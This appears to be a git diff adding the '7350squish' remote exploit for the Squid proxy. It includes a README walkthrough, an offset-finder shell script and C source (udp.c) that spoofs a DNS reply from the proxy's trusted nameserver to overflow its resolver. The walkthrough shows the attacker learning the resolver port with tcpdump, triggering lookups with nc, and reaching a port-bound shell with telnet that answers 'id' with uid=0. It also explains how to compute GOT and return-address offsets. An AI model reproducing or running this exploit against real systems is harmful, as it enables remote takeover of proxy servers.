| 13 | stuff or brute long. Since you attack the child process of Squid, which gets | ||
| 14 | restarted on crash, you have unlimited tries. Each try creates two log entries | ||
| 15 | in the squid logfile. | ||
| 16 | |||
| 17 | Exploitation example: | ||
| 18 | --------------------- | ||
| 19 | |||
| 20 | 192.168.144.6 is the Squid server, 130.149.17.5 the default nameserver it uses | ||
| 21 | and trusts. | ||
| 22 | |||
| 23 | # tcpdump -n src 192.168.144.6 and udp and dst port 53 & | ||
| 24 | # (echo "HEAD http://test.ts/ HTTP/1.0" ; echo ) | \ | ||
| 25 | nc 192.168.144.6 3128 >/dev/null | ||
| 26 | 18:57:03.070418 192.168.144.6.32819 > 130.149.17.5.53: 9+ A? test.ts. (25) (DF) | ||
| 27 | ^^^^^ | ||
| 28 | We see the sourceport it uses and the trusted nameserver address. | ||
| 29 | |||
| 30 | # ./7350squish -t 3 -p 4050 130.149.17.5:53 192.168.144.6:32819 \ | ||
| 31 | 2>&1 >/dev/null | ||
| 32 | |||
| 33 | After the packet has been send, we need to trigger the resolver a second time | ||
| 34 | to let it read our packet. | ||
| 35 | |||
| 36 | # (echo "HEAD http://test2.ts/ HTTP/1.0" ; echo) | \ | ||
| 37 | nc 192.168.144.6 3128 >/dev/null | ||
| 38 | # telnet 192.168.144.6 4050 | ||
| 39 | Trying 192.168.144.6... | ||
| 40 | Connected to 192.168.144.6. | ||
| 41 | Escape character is '^]'. | ||
| 42 | id; | ||
| 43 | uid=0(root) gid=13(proxy) euid=13(proxy) groups=13(proxy) | ||
| 44 | |||
| 45 | |||
| 46 | On some systems, Squid runs as uid=0 (for some strange reason I've to figure | ||
| 47 | out), debian sid for example. | ||
| 48 | |||
| 49 | |||
| 50 | offsets | ||
| 51 | ======= | ||
| 52 | |||
| 53 | retloc: | ||
| 54 | ------- | ||
| 55 | |||
| 56 | Any GOT entry that is used often will do fine: | ||
| 57 | |||
| 58 | # objdump --dynamic-reloc /usr/sbin/squid | grep memcpy | ||
| 59 | 080df838 R_386_JUMP_SLOT memcpy | ||
| 60 | |||
| 61 | retaddr: | ||
| 62 | -------- | ||
| 63 | |||
| 64 | There are multiple places we can return to, but this is the most fixed one | ||
| 65 | (static lower heap buffer). | ||
| 66 | |||
| 67 | |||
| 68 | # ltrace -o out -p `ps auxwww|egrep "\(squid\)"|awk '{print $2}'` | ||
| 69 | |||
| 70 | (on another term, use the squid, as in): | ||
| 71 | |||
| 72 | # (echo "HEAD http://www.cow.org/ HTTP/1.0";echo) | nc 127.0.0.1 3128 | ||
| 73 | |||
| 74 | (now abort the ltrace process). | ||
| 75 | |||
| 76 | # grep recvfrom out | ||
| 77 | |||
| 78 | Will give output like: | ||
| 79 | |||
| 80 | 1630 recvfrom(5, 0x080f2c60, 512, 0, 0xbfff79bc) = 116 | ||
| 81 | 1630 recvfrom(5, 0x080f2c60, 512, 0, 0xbfff79bc) = -1 | ||
| 82 | ^^^^^^^^^^ | ||
| 83 | |||
| 84 | retaddr = 0x080f2c60 + 0x90 = 0x080f2cf0 | ||
| 85 | |||
| 86 | |||
| 87 | alignments: | ||
| 88 | ----------- | ||
| 89 | |||
| 90 | The default (0x0182, 288) should be just fine. If not, those are more | ||
| 91 | difficult to get. | ||
| 92 | |||
| 93 | |||
| 94 | |||
diff --git a/exploits/7350squish/deb/squid_2.3.4-2_i386.deb b/exploits/7350squish/deb/squid_2.3.4-2_i386.deb new file mode 100644 index 0000000..f30654b --- /dev/null +++ b/exploits/7350squish/deb/squid_2.3.4-2_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/deb/squid_2.4.1-1_i386.deb b/exploits/7350squish/deb/squid_2.4.1-1_i386.deb new file mode 100644 index 0000000..726eba1 --- /dev/null +++ b/exploits/7350squish/deb/squid_2.4.1-1_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/deb/squid_2.4.1-2_i386.deb b/exploits/7350squish/deb/squid_2.4.1-2_i386.deb new file mode 100644 index 0000000..4772f25 --- /dev/null +++ b/exploits/7350squish/deb/squid_2.4.1-2_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/deb/squid_2.4.1-3_i386.deb b/exploits/7350squish/deb/squid_2.4.1-3_i386.deb new file mode 100644 index 0000000..ff82ece --- /dev/null +++ b/exploits/7350squish/deb/squid_2.4.1-3_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/deb/squid_2.4.1-4_i386.deb b/exploits/7350squish/deb/squid_2.4.1-4_i386.deb new file mode 100644 index 0000000..709053f --- /dev/null +++ b/exploits/7350squish/deb/squid_2.4.1-4_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/deb/squid_2.4.1-5_i386.deb b/exploits/7350squish/deb/squid_2.4.1-5_i386.deb new file mode 100644 index 0000000..021970e --- /dev/null +++ b/exploits/7350squish/deb/squid_2.4.1-5_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/deb/squid_2.4.2-1_i386.deb b/exploits/7350squish/deb/squid_2.4.2-1_i386.deb new file mode 100644 index 0000000..2656456 --- /dev/null +++ b/exploits/7350squish/deb/squid_2.4.2-1_i386.deb | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/offset-find.sh b/exploits/7350squish/offset-find.sh new file mode 100644 index 0000000..dad7232 --- /dev/null +++ b/exploits/7350squish/offset-find.sh | |||
| @@ -0,0 +1,67 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | # 7350squish offset finder | ||
| 4 | # lorian & scut | ||
| 5 | |||
| 6 | check_util () | ||
| 7 | { | ||
| 8 | for util in $*; do | ||
| 9 | echo -n "checking for $util: " | ||
| 10 | if ! which $util; then | ||
| 11 | echo "not found, aborting" | ||
| 12 | exit | ||
| 13 | fi | ||
| 14 | done | ||
| 15 | } | ||
| 16 | |||
| 17 | echo "7350squish exploit offset finder" | ||
| 18 | echo | ||
| 19 | |||
| 20 | if [ $# != 1 ]; then | ||
| 21 | echo "usage: $0 /path/to/squid/binary" | ||
| 22 | echo | ||
| 23 | exit | ||
| 24 | fi; | ||
| 25 | |||
| 26 | |||
| 27 | check_util awk objdump | ||
| 28 | |||
| 29 | echo | ||
| 30 | |||
| 31 | bufferbase=`objdump -D $1 2>/dev/null | \ | ||
| 32 | grep "68 00 02 00 00" -A 1 | tail -1 | cut -d '$' -f2` | ||
| 33 | |||
| 34 | retaddr=`echo $bufferbase | awk 'function hex2num(s) | ||
| 35 | { | ||
| 36 | n = length (s) | ||
| 37 | v = 0 | ||
| 38 | for (i = 1; i < n-1; i++) { | ||
| 39 | c = tolower(substr (s, i+2, 1)); | ||
| 40 | if (c=="a") c=10; | ||
| 41 | if (c=="b") c=11; | ||
| 42 | if (c=="c") c=12; | ||
| 43 | if (c=="d") c=13; | ||
| 44 | if (c=="e") c=14; | ||
| 45 | if (c=="f") c=15; | ||
| 46 | v = v * 16 + c; | ||
| 47 | } | ||
| 48 | return v | ||
| 49 | } | ||
| 50 | { | ||
| 51 | printf ("0x%08x\n", hex2num ($0) + 144) | ||
| 52 | }'` | ||
| 53 | |||
| 54 | #retaddr=`echo $bufferbase | awk '{ printf ("0x%08x\n", $0 + 144) }'` | ||
| 55 | |||
| 56 | retloc=`objdump -R $1 2>/dev/null | \ | ||
| 57 | grep "memcpy$" | awk '{ printf ("0x%s", $1) }'` | ||
| 58 | |||
| 59 | echo "{ \"NEW TARGET\"," | ||
| 60 | echo "x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1," | ||
| 61 | echo "$retloc, /* GOT: memcpy */" | ||
| 62 | echo "$retaddr, /* packet receive buffer + 0x90 */" | ||
| 63 | echo "0x0182, 288 }," | ||
| 64 | echo | ||
| 65 | |||
| 66 | echo finished. | ||
| 67 | |||
diff --git a/exploits/7350squish/tagspace.c b/exploits/7350squish/tagspace.c new file mode 100644 index 0000000..75d3871 --- /dev/null +++ b/exploits/7350squish/tagspace.c | |||
| @@ -0,0 +1,42 @@ | |||
| 1 | |||
| 2 | /* tagspace engine | ||
| 3 | * -scut | ||
| 4 | */ | ||
| 5 | |||
| 6 | |||
| 7 | typedef struct ts_tag { | ||
| 8 | struct ts_tag * next; | ||
| 9 | unsigned int rel; | ||
| 10 | unsigned int len; | ||
| 11 | } ts_tag; | ||
| 12 | |||
| 13 | |||
| 14 | ts_tag * | ||
| 15 | ts_add (ts_tag *t, unsigned int rel, unsigned int len) | ||
| 16 | { | ||
| 17 | ts_tag * w; | ||
| 18 | |||
| 19 | for (w = t ; w != NULL ; w = w->next) { | ||
| 20 | if (w->rel <= rel && (w->rel + w->len) >= (rel + len)) | ||
| 21 | return (t); /* already in */ | ||
| 22 | |||
| 23 | /* case 1: a part of rel is already in the tag */ | ||
| 24 | if (w->rel <= rel && (w->rel + w->len) >= rel) { | ||
| 25 | w->len = rel + len - w->rel; | ||
| 26 | |||
| 27 | return (t); | ||
| 28 | } | ||
| 29 | |||
| 30 | /* case 2: end of rel cuts tag */ | ||
| 31 | /* XXX: TODO: FIXME */ | ||
| 32 | } | ||
| 33 | |||
| 34 | w = calloc (1, sizeof (ts_tag)); | ||
| 35 | w->next = t; | ||
| 36 | w->rel = rel; | ||
| 37 | w->len = len; | ||
| 38 | |||
| 39 | return (w); | ||
| 40 | } | ||
| 41 | |||
| 42 | |||
diff --git a/exploits/7350squish/udp.c b/exploits/7350squish/udp.c new file mode 100644 index 0000000..f8c9d9f --- /dev/null +++ b/exploits/7350squish/udp.c | |||
| @@ -0,0 +1,232 @@ | |||
| 1 | /* 7350squish - x86/linux squid remote exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The restrictions of distribution covers the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * bug found by scut 2001/09/10 | ||
| 21 | * further research by lorian. | ||
| 22 | * exploit by lorian and scut. | ||
| 23 | * | ||
| 24 | * squid-2.4.1/lib/rfc1035.c:278:# logic fuckup, buffer overflow | ||
| 25 | */ | ||
| 26 | |||
| 27 | #include <sys/types.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | #include <netinet/in.h> | ||
| 30 | #include <arpa/inet.h> | ||
| 31 | #include <netinet/ip.h> | ||
| 32 | #include <netinet/udp.h> | ||
| 33 | |||
| 34 | #include <stdio.h> | ||
| 35 | #include <stdlib.h> | ||
| 36 | #include <unistd.h> | ||
| 37 | |||
| 38 | char udp_packet[] = | ||
| 39 | "\x00\x01\x85\x80\x00\x01\x00\x02" /* header */ | ||
| 40 | "\x00\x00\x00\x00" | ||
| 41 | "\x00" /* question name */ | ||
| 42 | "\x00\x01\x00\x01" /* question type+class */ | ||
| 43 | |||
| 44 | /* answer 1 */ | ||
| 45 | "\x00" | ||
| 46 | "\x00\x01\x00\x01\x00\x00\x01\x2c" | ||
| 47 | "\x01\x82" /* rdata length */ | ||
| 48 | |||
| 49 | /* rdata+answer 2 */ | ||
| 50 | "\x3f" | ||
| 51 | "\x00\x00\x00\x00\x00\x00\x00\x00" /* 0-63 */ | ||
| 52 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 53 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 54 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 55 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 56 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 57 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 58 | "\x00\x00\x00\x00\x00\x00\x00\x3f" | ||
| 59 | |||
| 60 | "\x00\x00\x00\x00\x00\x00\x00\x00" /* 64-127 */ | ||
| 61 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 62 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 63 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 64 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 65 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 66 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 67 | "\x00\x00\x00\x00\x00\x00\x00\x3f" | ||
| 68 | |||
| 69 | "\x00\x00\x00\x00\x00\x00\x00\x00" /* 128-191 */ | ||
| 70 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 71 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 72 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 73 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 74 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 75 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 76 | "\x00\x00\x00\x00\x00\x00\x00\x3f" | ||
| 77 | |||
| 78 | "\x00\x00\x00\x00\x00\x00\x00\x00" /* 192-255 */ | ||
| 79 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 80 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 81 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 82 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 83 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 84 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 85 | "\x00\x00\x00\x00\x00\x00\x00\x3f" | ||
| 86 | |||
| 87 | "\x00\x00\x00\x00\x00\x00\x00\x00" /* 256-319 */ | ||
| 88 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 89 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 90 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 91 | /* first malloc chunk */ | ||
| 92 | "\x00\x00\x00\x00\x41\x00\x00\x00" | ||
| 93 | "\x55\x55\x55\x55\x66\x66\x66\x66" | ||
| 94 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 95 | "\x00\x00\x00\x00\x00\x00\x00\x3f" | ||
| 96 | |||
| 97 | "\x00\x00\x00\x00\x00\x00\x00\x00" /* 320-382 */ | ||
| 98 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 99 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 100 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 101 | /* second malloc chunk */ | ||
| 102 | "\x00\x00\x00\x00\x48\x01\x00\x00" | ||
| 103 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 104 | "\x00\x00\x00\x00\x00\x00\x00\x00" | ||
| 105 | "\x00\x00\x00\x00\x00\x00\x00" | ||
| 106 | |||
| 107 | "\xC0\x0C" /* fake compression, to bypass assert check */ | ||
| 108 | |||
| 109 | /* answer 2 */ | ||
| 110 | "\xC0\x1C" /* dont waste space */ | ||
| 111 | "\x00\x01\x00\x01\x00\x00\x01\x2c" | ||
| 112 | "\x00\x00"; | ||
| 113 | |||
| 114 | /* | ||
| 115 | * in_cksum -- | ||
| 116 | * Checksum routine for Internet Protocol family headers (C Version) | ||
| 117 | */ | ||
| 118 | unsigned short in_cksum(addr, len) | ||
| 119 | u_short *addr; | ||
| 120 | int len; | ||
| 121 | { | ||
| 122 | register int nleft = len; | ||
| 123 | register u_short *w = addr; | ||
| 124 | register int sum = 0; | ||
| 125 | u_short answer = 0; | ||
| 126 | |||
| 127 | /* | ||
| 128 | * Our algorithm is simple, using a 32 bit accumulator (sum), we add | ||
| 129 | * sequential 16 bit words to it, and at the end, fold back all the | ||
| 130 | * carry bits from the top 16 bits into the lower 16 bits. | ||
| 131 | */ | ||
| 132 | while (nleft > 1) { | ||
| 133 | sum += *w++; | ||
| 134 | nleft -= 2; | ||
| 135 | } | ||
| 136 | |||
| 137 | /* mop up an odd byte, if necessary */ | ||
| 138 | if (nleft == 1) { | ||
| 139 | *(u_char *)(&answer) = *(u_char *)w ; | ||
| 140 | sum += answer; | ||
| 141 | } | ||
| 142 | |||
| 143 | /* add back carry outs from top 16 bits to low 16 bits */ | ||
| 144 | sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ | ||
| 145 | sum += (sum >> 16); /* add carry */ | ||
| 146 | answer = ~sum; /* truncate to 16 bits */ | ||
| 147 | return(answer); | ||
| 148 | } | ||
| 149 | |||
| 150 | /* Send faked UDP packet. */ | ||
| 151 | int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport) | ||
| 152 | struct sockaddr_in *sin; | ||
| 153 | unsigned short int s, datalen, sport, dport; | ||
| 154 | unsigned long int saddr, daddr; | ||
| 155 | char *data; | ||
| 156 | { | ||
| 157 | struct iphdr ip; | ||
| 158 | struct udphdr udp; | ||
| 159 | static char packet[8192]; | ||
| 160 | |||
| 161 | /* Fill in IP header values. */ | ||
| 162 | ip.ihl = 5; | ||
| 163 | ip.version = 4; | ||
| 164 | ip.tos = 0; | ||
| 165 | ip.tot_len = htons(28 + datalen); | ||
| 166 | ip.id = htons(31337 + (rand()%100)); | ||
| 167 | ip.frag_off = 0; | ||
| 168 | ip.ttl = 255; | ||
| 169 | ip.protocol = IPPROTO_UDP; | ||
| 170 | ip.check = 0; | ||
| 171 | ip.saddr = saddr; | ||
| 172 | ip.daddr = daddr; | ||
| 173 | ip.check = in_cksum((char *)&ip, sizeof(ip)); | ||
| 174 | |||
| 175 | /* Fill in UDP header values. Checksums are unnecassary. */ | ||
| 176 | udp.source = htons(sport); | ||
| 177 | udp.dest = htons(dport); | ||
| 178 | udp.len = htons(8 + datalen); | ||
| 179 | udp.check = (short) 0; | ||
| 180 | |||
| 181 | /* Copy the headers into our character array. */ | ||
| 182 | memcpy(packet, (char *)&ip, sizeof(ip)); | ||
| 183 | memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp)); | ||
| 184 | memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen); | ||
| 185 | |||
| 186 | return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0, | ||
| 187 | (struct sockaddr *)sin, sizeof(struct sockaddr_in))); | ||
| 188 | } | ||
| 189 | |||
| 190 | |||
| 191 | int send_packet (char *nsname, short nsport, char *dest, short port, char *buf, int size) | ||
| 192 | { | ||
| 193 | int fd, socktolen, r; | ||
| 194 | struct sockaddr_in sockto; | ||
| 195 | struct in_addr in, ns; | ||
| 196 | |||
| 197 | fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); | ||
| 198 | if (fd == -1) { | ||
| 199 | perror ("unable to create raw socket: "); | ||
| 200 | exit (1); | ||
| 201 | } | ||
| 202 | socktolen = sizeof (struct sockaddr_in); | ||
| 203 | |||
| 204 | inet_aton (dest, &in); | ||
| 205 | inet_aton (nsname, &ns); | ||
| 206 | |||
| 207 | socktolen = sizeof (struct sockaddr_in); | ||
| 208 | memset (&sockto, 0, socktolen); | ||
| 209 | sockto.sin_family = AF_INET; | ||
| 210 | sockto.sin_port = htons (port); | ||
| 211 | sockto.sin_addr.s_addr = in.s_addr; | ||
| 212 | |||
| 213 | sendpkt_udp (&sockto, fd, buf, size, ns.s_addr, in.s_addr, nsport, port); | ||
| 214 | |||
| 215 | } | ||
| 216 | |||
| 217 | |||
| 218 | int main (int argc, char **argv) | ||
| 219 | { | ||
| 220 | char buffer[512]; | ||
| 221 | FILE *f;int len; | ||
| 222 | |||
| 223 | if (argc!=5) { | ||
| 224 | printf ("where is the dest?"); | ||
| 225 | } | ||
| 226 | len=sizeof (buffer); | ||
| 227 | memset (buffer, 0, len); | ||
| 228 | memcpy (buffer, udp_packet, sizeof (udp_packet)); | ||
| 229 | |||
| 230 | send_packet (argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), (char *)&buffer, len); | ||
| 231 | |||
| 232 | } | ||
